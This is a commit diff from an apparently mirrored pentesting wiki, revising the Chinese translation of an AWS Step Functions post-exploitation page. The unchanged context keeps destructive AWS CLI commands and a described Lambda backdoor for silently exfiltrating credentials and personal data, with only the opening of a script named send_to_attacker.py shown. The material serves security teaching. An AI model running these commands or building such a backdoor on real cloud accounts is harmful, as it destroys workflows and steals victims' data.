mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Binary file not shown.
|
After Width: | Height: | Size: 277 KiB |
+8
-8
@@ -18,7 +18,7 @@
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程,导致数据丢失,并需要大量时间来恢复和恢复受影响的状态机。此外,这将允许攻击者掩盖所用的痕迹,干扰取证调查,并通过删除重要的自动化流程和状态配置来潜在地削弱操作。
|
||||
拥有这些权限的攻击者将能够永久删除状态机、其版本和别名。这可能会中断关键工作流程,导致数据丢失,并需要大量时间来恢复和恢复受影响的状态机。此外,这将允许攻击者掩盖所用的痕迹,干扰取证调查,并可能通过删除重要的自动化流程和状态配置来削弱操作。
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
@@ -41,11 +41,11 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **潜在影响**: 性能下降,以及关键工作流程的中断。
|
||||
- **潜在影响**:性能下降,以及关键工作流程的中断。
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
拥有此权限的攻击者可能能够停止任何状态机的执行,从而干扰正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。
|
||||
拥有此权限的攻击者可能能够停止任何状态机的执行,从而中断正在进行的工作流程和过程。这可能导致交易不完整、业务运营中断以及潜在的数据损坏。
|
||||
|
||||
> [!WARNING]
|
||||
> 此操作不支持 **express state machines**。
|
||||
@@ -67,7 +67,7 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
一个攻击者如果破坏了具有以下权限的用户或角色:
|
||||
一个攻击者如果攻陷了具有以下权限的用户或角色:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -87,7 +87,7 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
]
|
||||
}
|
||||
```
|
||||
...可以通过将 Lambda 后门与 Step Function 逻辑操控结合起来,进行 **高影响力和隐蔽的后渗透攻击**。
|
||||
...可以通过将 Lambda 后门与 Step Function 逻辑操控结合起来,进行 **高影响力和隐秘的后渗透攻击**。
|
||||
|
||||
此场景假设受害者使用 **AWS Step Functions 来协调处理敏感输入的工作流**,例如凭证、令牌或个人身份信息(PII)。
|
||||
|
||||
@@ -97,13 +97,13 @@ aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
如果 Step Function 被配置为调用一个像 `LegitBusinessLogic` 的 Lambda,攻击者可以继续进行 **两种隐秘的攻击变体**:
|
||||
如果 Step Function 被配置为调用一个像 `LegitBusinessLogic` 的 Lambda,攻击者可以进行 **两种隐秘的攻击变体**:
|
||||
|
||||
---
|
||||
|
||||
#### 更新 Lambda 函数
|
||||
|
||||
攻击者修改 Step Function 已经使用的 Lambda 函数 (`LegitBusinessLogic`) 的代码,以静默地外泄输入数据。
|
||||
攻击者修改 Step Function 已经使用的 Lambda 函数 (`LegitBusinessLogic`) 的代码,以悄无声息地提取输入数据。
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -179,6 +179,6 @@ aws stepfunctions update-state-machine \
|
||||
- 静默外泄敏感数据,包括秘密、凭证、API 密钥和个人身份信息(PII)。
|
||||
- 工作流执行中没有可见的错误或失败。
|
||||
- 如果不审计 Lambda 代码或执行痕迹,难以检测。
|
||||
- 如果后门保留在代码或 ASL 逻辑中,能够实现长期持久性。
|
||||
- 如果后门保留在代码或 ASL 逻辑中,则可以实现长期持久性。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user